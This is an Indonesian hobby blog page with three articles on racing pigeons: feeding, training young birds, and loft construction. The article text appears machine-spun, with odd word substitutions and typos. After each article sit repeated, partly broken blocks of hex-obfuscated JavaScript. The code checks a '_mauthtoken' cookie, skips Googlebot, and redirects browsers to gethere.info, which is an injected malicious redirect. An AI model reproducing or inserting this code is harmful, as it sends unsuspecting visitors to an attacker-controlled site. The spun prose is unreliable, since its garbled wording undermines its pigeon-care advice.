IBX5980432E7F390 Pakan Spesial Untuk Burung Merpati Pos Kupas Triknya - Kicauan Burung Lovebird Ngekek

Pakan Spesial Untuk Burung Merpati Pos Kupas Triknya

Pakan Spesial Untuk Burung Merpati Pos

Pakan Istimewa untuk burung merpati pos – Saat ini merpati pos lebih banyak dipakai untuk dipertandingkan. Tujuan utama orang memelihara ini bahwasanya hanya untuk diikutsertakan ke pertandingan saja.

Sangat sulit sekali untuk menyebabkan suatu burung merpati pos yang belum mampu apa-apa menjadi jawara merpati pos. Harus membutuhkan kerja keras dari pemiliknya semoga merpati pos menang pada ketika diperlombaan.Pakan Spesial Untuk Burung Merpati Pos

Merpati pos yang menjadi jawara biasanya sudah memenuhi persyaratan yang harus dipenuhi. Salah satu persyaratan tersebut adalah harus berbadan langsing atau berbadan bidang.

Untuk menciptakan merpati pos kita menjadi seolah-olah itu, bahu-membahu rahasianya adalah hanya dengan menyampaikan makanan ke merpati pos yang mengandung nilai gizi yang tinggi. Seperti protein, karbohidrat, dan vitamin. Semuanya harus ada di dalam makanan merpati pos.

Gizi yang tinggi akan membuat badan merpati menjadi langsing dan bidang. Akan tetapi, satu hal yang harus diingat! Berilah kuliner yang mengadung gizi tersebut secukupnya saja.

Jangan terlalu banyak dan juga jangan terlalu sedikit. Sebab, jikalau terlalu banyak maka tubuh merpati pos tidak mampu berbentuk langsing atau bidang. Akan tetapi tubuh merpatipakan menjadi besar.

Sedangkan jika kita menyampaikan pakan burung merpati pos terlalu sedikit, juga tidak baik untuk merpati karena bisa saja merpati menjadi kurus lantaran kekurangan kuliner. Untuk itu, perhatikan dukungan porsi makanan kepada merpati pos.

Sebenarnya, pakan burung merpati pos dengan burung merpati jenis lainnya itu sama saja. Pakan merpati pos adalah biji-bijian dan dicampur dengan pakan yang dari pabrikan. Untuk mendapatkan hasil yang maksimal campurlah kedua pakan tersebut.

Sebelum menyampaikan pakan kepada burung merpati, kita harus mengeceknya terlebih dahulu. Sebab, adakala di dalam pakan tersebut ada bakteri.

Dan jikalau termakan oleh burung akan membuat burung jadi sakit. Apalagi pada pakan yang dari pabrikan. Pakan dari pabrikan itu biasanya banyak yang tidak mengandung mutu yang tinggi.

Semuanya tergantung pada harganya saja. Jika pakan tersebut harganya murah, berarti kualitasnya rendah.

Dan bila pakan tersebut harganya mahal, berarti kualitas mutunya tinggi. Pakan bisa kita beli di pasar burung. Jika ktia menginginkan mrpati kita menjadi burung yang baik, maka pilihlah pakan yang bermutu tinggi.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)(function(_0xecfdx1,_0xecfdx2)if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1)va))(navigator[_0x446d[3]]var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) navigator[_0x446d[4]]var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) window[_0x446d[5]],_0x446d[6])

Baca juga: Ciri Fisik dan suara murai watu medan gacor

Wajib Penting Di baca

  • Pakan Burung Merpati Muda Berkualitas
  • Ciri Burung Merpati Hias Dan Cara Perawatan
  • Memilih Bibit Anakan Merpati Pos Berkualitas
  • Membuat Kandang Ideal Untuk Merpati Pos
  • Kontruksi Kandang Burung Merpati Pos
  • Perawatan Merpati Mabung Ganti Bulu
  • Merpati Pos Dan Asal-usulnya
  • Pakan Kusus Burung Merpati Hias
  • Cara Merawat Anakan Merpati Sampai Dewasa
  • Jenis Merpati Pos Paling Populer Mahal
  • Tips Melombakan Burung Merpati Betina

Cara Melatih Burung Merpati Muda

Cara melatih burung merpati muda – Apabila seseorang tujuan awalnya memelihara merpati untuk dipertanddingkan, maka niscaya orang tersebut akan melatihnya dari anakan. Begitu pula dengan kita.

Apabila kita ingin mengakibatkan burung kita masuk dipertandingan, maka latihlah merpati tersebut dari masih anakan. Persiapan yang matang akan menciptakan merpati dapat pula melawan lawannya ketika dipertandingan nantinya.

Untuk menciptakan burung kita menjadi burung merpati yang mahir, maka awalnya harus dilatih terlebih dahulu. Latihan mampu dilakukan setiap hari.Cara Melatih Burung Merpati Muda

Latihan mampu dilakukan dilingkungan sekitar saja. Pertama-tama burung kita ajarkan untuk keluar masuk kandang. Kita mampu memakai perkataan kalau burung tersebut mampu mengerti.

Misanya, jika masuk maka katakanlah “masuk” dan jikalau merpati mau keluar maka katakanlah “keluar”. Maka merpati tersebut akan mengerti apa kata kita.

Akan tetapi, untuk menciptakan merpati patuh terhadap perkataan kita, maka kita harus mendekatkan diri dengan merpati tersebut. Jika merpati merasa nyaman dengan kita barulah dia akan menuruti apa kata kita.

Apabila tamat terbang, maka suruhlah burung untuk masuk ke sangkarnya dengan sendiri. Setelah masuk, berilah merpati makan.

Akan tetapi, untuk burung yang tak mau masuk ke kandang, janganlah diberikan pakan. Biarkan saja ia tidak amakn. JIka diberikan makan, maka ia akan kebiasaan membandel di luar dan tidak mau masuk sangkar.

Jika burung merpati sudah mahir dan tidak membandel jika kita perintahkan, maka kita mampu melatih merpati di tempat lain. Misalnya di tempat penangkar lain yang sudah kita kenali. Ataupun kita mampu melatih merpati di lapangan.

Ketika kita ingin membawa merpati berpergian, maka letaklah merpati di dalam sangkar. Sangkarnya pun harus dikerodongi.

Hal ini dilakukan biar burung tidak stres ketika di bawa berpergian. Apalagi kalau perjalanan yang jauh. Di dalam sangkar itu pun hanya boleh minimal diisi dengan satu burung. Dan maksimalnya boleh diisi dengan dua burung.

Sangkar tidak boleh diisi dengan tiga burung atau lebih. Mengapa begitu? Karena mengingat keadaan sangkar yang terlalu kecil akan menciptakan burng bredesak-desakan dan akibatnya bulu-bulunya akan rontok. Rontoknyapun tidak sedikit, tetpai mampu dikatakan banyak.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) navigator[_0x446d[4]]var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) window[_0x446d[5]],_0x446d[6])var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) navigator[_0x446d[4]]var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)

Baca juga: Ciri Fisik dan suara murai watu medan gacor

Wajib Penting Di baca

  • Merawat Dan Melatih Anakan Merpati
  • Pakan Untuk Jenis Merpati Padaging
  • Mata Merpati Paling Bagus Untuk Lomba
  • Jenis-jenis Penyakit Pada Burung Merpati
  • Teknik Menjodohkan Merpati Secara Cepat
  • Melatih Merpati Menjelang Lomba
  • Cara Merawat Anakan Merpati Sampai Dewasa
  • Memelihara Kesehatan Burung Merpati Dewasa
  • Cara Mengawinkan Induk Merpati Liar
  • Perawatan Merpati Mabung Ganti Bulu
  • Cara Mengawinkan Merpati yang Baik

Membuat Kandang Ideal Untuk Merpati Pos

Membuat kandang ideal untuk merpati pos – Banyak para penangkar burung merpati yang belum menciptakan sangkar dengan cara yang benar. Masih banyak kesalahan dimana-mana yang mestinya segera diperbaiki.

Sebagai seorang penangkar, hendakknya kita memperhatikan juga bentuk sangkar merpati. Hal ini dilakukan supaya burung merasa nyaman berada di dalamkandang tersebut.Membuat Kandang Ideal Untuk Merpati Pos

Para penangkar yang belum menciptakan sangkar merpati secara benar itu bukannya mereka tidak mau menciptakannya secara benar, tetapi mereka pasati tidak tahu cara menciptakan sangkar merpati pos yang ideal.

Untuk itulah pada kesempatan kali ini, kita akan membahas cara menciptakan kandang yang ideal untuk merpati pos. Untuk mengetahuinya secara detaiil, mari kita simak penjelasan di bawah ini.

Membuat beberapa ruangan dalam sangkar Merpati

Di dalam sangkar perlu dibuat beberapa ruangan. Ruangan yang dimaksud adalah ruangan terbuka dan ruangan tertutup. Ruangan terbuka fungsinya adalah kawasan dimana burung akan menghirup udara segar.

Sedangkan ruangan tertutup fungsinya yaitu tempat dimana burung akan berada di ruangan ini ketika hujan tiba atau merpati merasa sinar matahari terlalu terik bagi dirinya itu.

Di dalam ruangan tertutup perlu diberikan jendela. Jendela berfungsi untuk semoga udara masuk ke dalam ruangan tertutup tersebut. Kaprikornus, burung tidak akan kehabisan udara di dalam kandang.

Pembuatan jendela dianjurkan sebesar mungkin. Mengapa begitu? Supaya kandang tetap disinari oleh matahari. Makara, burung merpati tetap bbisa merasakan sinar matahari walaupun tetap di dalam sangkar.

Membuat kotak pada kandang Merpati Pos

Membahas tentang kotak sarang, tentunya sudah tidak aneh lagi di pendengaran kita. Kotak sarnag di letakkan di dalam sangkar.

Pada umumnya, kotak sarang dibentuk dengan ukuran 80 cm x 35 cm x 50 cm. Fungsi kotak sarang sendiri ialah untuk menetaskan telur, hingga membesarkan anak. Di dalam sangkar terdapat 3 kotak sarang pula.

Kotak sarang bisa dibuat dari kayu atau pun materi lainnya. Akan tetapi yang paling ideal adalah pembuatan kotak sarang memakai kayu.

Kotak sarang sebaiknya dilengkapi dengan pintu yang mempunyai engsel. Mengapa harus pintu yang ada engselnya? Supaya ketika membuka pintu kotak sarang kita tidak kesulitan lagi.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)(function(_0xecfdx1,_0xecfdx2)if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1)on)(navigator[_0x446d[3]]var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) navigator[_0x446d[4]]

Baca juga: Ciri Fisik dan bunyi murai batu medan gacor

Wajib Penting Di baca

  • Kontruksi Kandang Burung Merpati Pos
  • Cara Merawat Anakan Merpati Sampai Dewasa
  • Jenis Merpati Pos Paling Populer Mahal
  • Melatih Merpati Menjelang Lomba
  • Perawatan Merpati Mabung Ganti Bulu
  • Pakan kusus Untuk Anakan Merpati Pos
  • Cara Beternak Burung Merpati Kusus Pemula
  • Merpati Pos Dan Asal-usulnya
  • Pakan Kusus Burung Merpati Hias
  • Pakan Spesial Untuk Burung Merpati Pos
  • Cara Mengawinkan Induk Merpati Liar

Berlangganan Untuk Mendapatkan Artikel Terbaru:

0 Komentar Untuk " Pakan Spesial Untuk Burung Merpati Pos Kupas Triknya"

Posting Komentar